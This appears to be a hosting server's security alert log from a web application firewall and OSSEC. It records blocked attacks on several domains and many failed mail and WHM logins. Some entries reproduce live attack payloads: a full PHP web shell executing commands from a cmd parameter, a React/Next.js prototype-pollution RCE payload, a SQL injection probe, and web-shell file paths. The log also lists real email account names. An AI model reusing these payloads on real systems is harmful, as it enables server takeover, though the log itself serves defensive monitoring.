name: IM360 WAF: PHP Injection Low value
abuser: 103.121.102.76
country_id: 1643084
domain: www.yukticlick.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\nfunction getuid(){\n    $uid = posix_geteuid();\n    if($uid === false){\n        $uid = shell_exec(\"id -u 2>/dev/null\");\n        if($uid === null){\n            $uid = \"unknown\";\n        }\n    }\n    return trim($uid);\n}\n\n$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : (isset($_POST['cmd']) ? $_POST['cmd'] : '');\nif($cmd){\n    echo \"<root>\";\n    echo \"<uid>\" . getuid() . \"</uid>\";\n    echo \"<command>\" . htmlspecialchars($cmd) . \"</command>\";\n    echo \"<output>\";\n    system($cmd);\n    echo \"</output>\";\n    echo \"</root>\";\n}\n?>||MVN:ARGS:content||RSV:8.26||T:APACHE||SC:/home/yukticlick/public_html/index.php||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 103.121.102.76
country_id: 1643084
domain: www.yukticlick.com
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.26||T:APACHE||SC:/home/yukticlick/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.255.26
country_id: 2661886
description:
2026-07-08 05:57:47 dovecot_login authenticator failed for H=94-255-255-26.cust.bredband2.com ([197.219.228.242]) [94.255.255.26]:42228: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.67.106.221
country_id: 3686110
description:
2026-07-08 05:57:14 dovecot_login authenticator failed for H=([199.116.114.10]) [190.67.106.221]:39084: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.192.162
country_id: 1269750
description:
2026-07-08 05:58:41 dovecot_login authenticator failed for H=([183.171.61.130]) [152.52.192.162]:43872: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-08 05:58:56 dovecot_login authenticator failed for H=([106.246.89.68]) [41.215.125.250]:53964: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.118.47.8
country_id: 1835841
description:
2026-07-08 05:59:07 dovecot_login authenticator failed for H=([116.236.43.254]) [111.118.47.8]:56320: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.25.28.189
country_id: 3932488
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 14.234.55.142
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://wikidental.ad-bk.de/index.php?title=Benutzer:Logan453875362\">Jugabet retiros SPEI</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 103.251.26.202
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:alnay||SC:/home/alnay/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350977
abuser: 103.251.26.202
country_id: 6252001
domain: alnayza.com
name:
IM360 WAF: Joomla Page Builder CK webshell access - executable in media dir (CVE-2026-56290 / WPT-2603)

description:
IM360 WAF: Joomla Page Builder CK webshell access - executable in media dir (CVE-2026-56290 / WPT-2603)||MVN:REQUEST_FILENAME||MV:/media/com_pagebuilderck/gfonts/fbi.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.3.26
country_id: 1269750
description:
2026-07-08 06:05:16 dovecot_login authenticator failed for H=(partner.filtersite.shop) [117.205.3.26]:52409: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.106
country_id: 1269750
description:
2026-07-08 06:14:25 dovecot_login authenticator failed for H=([14.96.106.175]) [182.95.228.106]:49276: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.124
country_id: 1668284
description:
2026-07-08 06:16:06 dovecot_login authenticator failed for H=([192.111.143.93]) [101.13.4.124]:44840: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.26
country_id: 1733045
description:
2026-07-08 06:16:30 dovecot_login authenticator failed for H=(90-228-229-182-no600.tbcn.telia.com) [49.124.153.26]:50900: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.61.159.91
country_id: 2264397
description:
2026-07-08 06:21:50 dovecot_login authenticator failed for H=91.159.61.94.rev.vodafone.pt ([91.146.24.164]) [94.61.159.91]:35520: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 173.236.255.50
country_id: 6252001
domain: travelinbh.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icosuns/fonts/b.shtml||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.150
country_id: 1835841
description:
2026-07-08 06:21:19 dovecot_login authenticator failed for H=([197.219.208.38]) [121.131.220.150]:43880: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.88
country_id: 1668284
description:
2026-07-08 06:22:28 dovecot_login authenticator failed for H=([61.36.134.212]) [101.13.5.88]:39188: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.70
country_id: 1733045
description:
2026-07-08 06:24:31 dovecot_login authenticator failed for H=(mission-web-hosting.com) [49.125.201.70]:39688: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-08 06:24:51 dovecot_login authenticator failed for H=([197.219.228.242]) [188.122.37.97]:54542: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.240.80
country_id: 2661886
description:
2026-07-08 06:24:51 dovecot_login authenticator failed for H=([45.118.136.243]) [188.126.240.80]:55528: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.57
country_id: 1733045
description:
2026-07-08 06:25:23 dovecot_login authenticator failed for H=([149.54.62.66]) [49.124.151.57]:36018: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.99.193.114
country_id: 1269750
description:
2026-07-08 06:27:27 dovecot_login authenticator failed for H=([61.97.17.208]) [14.99.193.114]:57140: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.28.226.124
country_id: 1036973
description:
2026-07-08 06:27:29 dovecot_login authenticator failed for H=([24.249.199.26]) [196.28.226.124]:43680: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.148.205.252
country_id: 2635167
description:
2026-07-08 06:27:41 dovecot_login authenticator failed for H=([202.108.14.226]) [147.148.205.252]:53098: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.130.98.240
country_id: 1668284
description:
2026-07-08 06:27:53 dovecot_login authenticator failed for H=([125.17.225.97]) [140.130.98.240]:52310: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 203.189.134.85
country_id: 1831722
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:93525.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3e625fd9d312951f1bc08c8ffddf5bc247038275||Title:0xecd68d4e||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.142
country_id: 1269750
description:
2026-07-08 06:39:39 dovecot_login authenticator failed for H=([49.124.159.195]) [182.95.185.142]:43852: 535 Incorrect authentication data (set_id=pan@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.35
country_id: 1733045
description:
2026-07-08 06:39:49 dovecot_login authenticator failed for H=(pipenode.vds-host.org) [49.124.152.35]:58736: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.217.64
country_id: 99237
description:
2026-07-08 06:40:07 dovecot_login authenticator failed for H=([67.201.57.102]) [65.20.217.64]:49176: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-08 06:43:35 dovecot_login authenticator failed for H=([196.189.126.10]) [117.211.15.93]:60742: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.118.190.204
country_id: 1835841
description:
2026-07-08 06:43:50 dovecot_login authenticator failed for H=([211.105.229.237]) [220.118.190.204]:55369: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.211.246.182
country_id: 2077456
description:
2026-07-08 06:46:39 dovecot_login authenticator failed for H=([146.66.76.174]) [157.211.246.182]:55319: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.120.9.176
country_id: 6252001
description:
2026-07-08 06:47:19 dovecot_login authenticator failed for H=(111-70-38-53.emome-ip.hinet.net) [70.120.9.176]:60559: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.139
country_id: 1835841
description:
2026-07-08 06:47:29 dovecot_login authenticator failed for H=([178.178.194.136]) [121.131.220.139]:32782: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.3.26
country_id: 1269750
description:
2026-07-08 06:48:10 dovecot_login authenticator failed for H=([49.125.201.70]) [117.205.3.26]:57942: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-08 06:49:05 dovecot_login authenticator failed for H=([61.72.146.78]) [188.122.37.97]:41130: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-07-08 06:49:21 dovecot_login authenticator failed for H=([221.120.42.196]) [110.227.211.82]:47476: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-07-08 06:49:28 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net ([37.208.46.130]) [85.195.9.20]:47488: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.162.194.94
country_id: 1733045
description:
2026-07-08 06:49:38 dovecot_login authenticator failed for H=([103.121.27.218]) [51.162.194.94]:55832: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.59.162.146
country_id: 597427
description:
2026-07-08 06:51:27 dovecot_login authenticator failed for H=([36.135.107.56]) [2.59.162.146]:55752: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.126.185
country_id: 337996
description:
2026-07-08 06:52:15 dovecot_login authenticator failed for H=([183.171.15.68]) [196.189.126.185]:43162: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-07-08 06:54:15 dovecot_login authenticator failed for H=([125.139.124.120]) [49.206.201.253]:40344: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.188.158.216
country_id: 2510769
description:
2026-07-08 06:56:23 dovecot_login authenticator failed for H=(wsip-64-207-241-177.tu.ok.cox.net) [207.188.158.216]:27761: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.107.180
country_id: 1269750
description:
2026-07-08 06:56:52 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [117.250.107.180]:58324: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 207.244.119.114
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://maps.app.goo.gl/8oc5GTgDoM4wBEP79\">Hosted voip provider</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.208.148.34
country_id: 6252001
domain: reach.ddgalaxy.in
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.26||T:APACHE||RA:173.208.148.34||TA:173.208.148.34||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 185.117.225.49
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/123.0.6312.86 Safari/537.36||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.26
country_id: 1269750
description:
2026-07-08 07:11:32 dovecot_login authenticator failed for H=([123.163.52.74]) [182.95.181.26]:43388: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.115.5
country_id: 2661886
description:
2026-07-08 07:11:58 dovecot_login authenticator failed for H=90-230-115-5-no2550.tbcn.telia.com ([91.146.24.164]) [90.230.115.5]:46820: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-08 07:12:25 dovecot_login authenticator failed for H=([101.13.5.30]) [125.19.163.58]:56364: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-08 07:13:07 dovecot_login authenticator failed for H=([61.80.241.73]) [102.210.148.41]:34936: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.194.4.121
country_id: 1835841
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-includes/images/wp-login.php||SC:/home/metrodigitals/public_html/wp-includes||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.16.192.32
country_id: 1835841
description:
2026-07-08 07:16:13 dovecot_login authenticator failed for H=([1.241.64.237]) [59.16.192.32]:37186: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.43.107.179
country_id: 1835841
description:
2026-07-08 07:17:31 dovecot_login authenticator failed for H=([24.249.199.9]) [211.43.107.179]:51861: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.69.161.214
country_id: 6252001
description:
2026-07-08 07:17:32 dovecot_login authenticator failed for H=([123.212.9.122]) [208.69.161.214]:43581: 535 Incorrect authentication data (set_id=pan@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.98
country_id: 6252001
description:
2026-07-08 07:16:51 dovecot_login authenticator failed for H=syn-035-130-111-098.biz.spectrum.com (50-80-184-78.client.mchsi.com) [35.130.111.98]:49633: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.78
country_id: 1269750
description:
2026-07-08 07:17:54 dovecot_login authenticator failed for H=([221.182.185.190]) [182.95.178.78]:46664: 535 Incorrect authentication data (set_id=pan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.195
country_id: 1668284
description:
2026-07-08 07:18:10 dovecot_login authenticator failed for H=([121.131.220.155]) [101.13.5.195]:48648: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 46.250.230.56
country_id: 1880251
domain: ogocindia.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783475483580.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 103.251.26.202
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:metrodigitals||SC:/home/metrodigitals/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.161.184.46
country_id: 3865483
description:
2026-07-08 07:25:44 dovecot_login authenticator failed for H=([60.172.168.136]) [131.161.184.46]:44776: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-07-08 07:28:36 dovecot_login authenticator failed for H=([174.64.199.85]) [122.187.234.73]:40781: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.154
country_id: 1835841
description:
2026-07-08 07:28:53 dovecot_login authenticator failed for H=([112.161.26.125]) [121.131.220.154]:32925: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.118.152
country_id: 6252001
description:
[2026-07-08 07:31:33 +0530] info [whostmgrd] 172.58.118.152 - root "GET /json-api/listaccts?api.version=1 HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to WHM with bad accesshash or API token


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.169.0.38
country_id: 6252001
description:
[2026-07-08 07:31:36 +0530] info [whostmgrd] 71.169.0.38 - root "GET /json-api/listaccts?api.version=1 HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to WHM with bad accesshash or API token


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.161.195.157
country_id: 6252001
description:
[2026-07-08 07:34:37 +0530] info [whostmgrd] 73.161.195.157 - root "GET /json-api/listaccts?api.version=1 HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to WHM with bad accesshash or API token


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.174.189.41
country_id: 6252001
description:
[2026-07-08 07:34:39 +0530] info [whostmgrd] 108.174.189.41 - root "GET /json-api/listaccts?api.version=1 HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to WHM with bad accesshash or API token


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.214.49.80
country_id: 2245662
domain: www.ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ogocindia.com/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.174.189.41
country_id: 6252001
description:
[2026-07-08 07:36:00 +0530] info [whostmgrd] 108.174.189.41 - root "GET /json-api/listaccts?api.version=1 HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to WHM with bad accesshash or API token


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.255.98.103
country_id: 6252001
description:
[2026-07-08 07:36:26 +0530] info [whostmgrd] 104.255.98.103 - root "GET /json-api/listaccts?api.version=1 HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to WHM with bad accesshash or API token


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 148.170.156.248
country_id: 6251999
description:
2026-07-08 07:39:53 dovecot_login authenticator failed for H=host-148-170-156-248.public.eastlink.ca ([192.111.130.1]) [148.170.156.248]:56496: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.61.33.117
country_id: 1269750
description:
2026-07-08 07:40:27 dovecot_login authenticator failed for H=([192.252.214.22]) [163.61.33.117]:47657: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 80.94.95.202
country_id: 798549
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:07-42.80.94.95.202||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.147.27.110
country_id: 1694008
description:
2026-07-08 07:43:13 dovecot_plain authenticator failed for H=(localhost) [115.147.27.110]:54730: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 80.74.146.167
country_id: 2658434
domain: ogocindia.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icosuns/fonts/rm/index.PHP||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.236.211.54
country_id: 2661886
description:
2026-07-08 07:49:52 dovecot_login authenticator failed for H=81-236-211-54-no2550.tbcn.telia.com ([210.183.167.169]) [81.236.211.54]:52740: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.1.105.105
country_id: 1269750
description:
2026-07-08 07:51:54 dovecot_login authenticator failed for H=([197.164.129.101]) [61.1.105.105]:56073: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.211.180
country_id: 1269750
description:
2026-07-08 07:57:45 dovecot_login authenticator failed for H=(karuna.divineled.com) [203.192.211.180]:48398: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 141.255.164.66
country_id: 2658434
domain: metrodigitals.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:auveehdm.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-08 07:59:21 dovecot_login authenticator failed for H=([49.124.153.31]) [175.200.217.128]:48518: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 23.180.120.135
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS_NAMES:name.0||(SELECT CAST((SELECT version()) AS int))||MV:name.0||(SELECT CAST((SELECT version()) AS int))||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.97.17.208
country_id: 1835841
description:
2026-07-08 08:00:24 dovecot_login authenticator failed for H=([174.75.211.203]) [61.97.17.208]:45700: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 103.177.124.193
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.26||T:APACHE||SC:/home/keralapeople/public_html/admin.php||User:keralapeople||WPU:||


plugin: modsec
rule: 77093094
abuser: 13.39.13.214
country_id: 3017382
domain: 103.185.74.189
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.252
country_id: 1668284
description:
2026-07-08 08:05:18 dovecot_login authenticator failed for H=111-70-23-252.emome-ip.hinet.net ([121.131.220.137]) [111.70.23.252]:53047: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.241.232.14
country_id: 2921044
description:
2026-07-08 08:05:36 dovecot_login authenticator failed for H=p5df1e80e.dip0.t-ipconnect.de (a89-152-82-108.cpe.netcabo.pt) [93.241.232.14]:59606: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.124.93
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.26||T:APACHE||RA:104.239.124.93||TA:104.239.124.93||


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 180.150.113.91
country_id: 2077456
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.26||T:APACHE||MVN:ARGS:vfedit10incident-classification[]||MV:Minor||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 103.251.26.202
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:url||MV:https://raw.githubusercontent.com/sagsooz/fonts/refs/heads/main/font.css||User:ogocindia||SC:/home/ogocindia/public_html/index.php||WPU:||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.237.155.150
country_id: 1835841
description:
2026-07-08 08:16:42 dovecot_login authenticator failed for H=(133.232.78.150.static.zoot.jp) [1.237.155.150]:54100: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.18.115.154
country_id: 3175395
description:
2026-07-08 08:17:06 dovecot_login authenticator failed for H=([199.229.254.131]) [85.18.115.154]:46352: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-08 08:23:05 dovecot_login authenticator failed for H=([49.125.201.63]) [1.250.67.114]:35802: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.128.181.196
country_id: 357994
description:
2026-07-08 08:25:20 dovecot_login authenticator failed for H=([174.77.111.220]) [41.128.181.196]:41770: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.70.166.43
country_id: 798544
description:
2026-07-08 08:27:19 dovecot_login authenticator failed for H=89-70-166-43.dynamic.play.pl ([174.75.211.196]) [89.70.166.43]:45890: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.11.34.221
country_id: 1210997
description:
2026-07-08 08:29:01 dovecot_login authenticator failed for H=113-11-34-221.broadband.smile.com.bd ([49.124.149.55]) [113.11.34.221]:36578: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-08 08:31:42 dovecot_login authenticator failed for H=([192.252.214.22]) [182.95.176.122]:52324: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
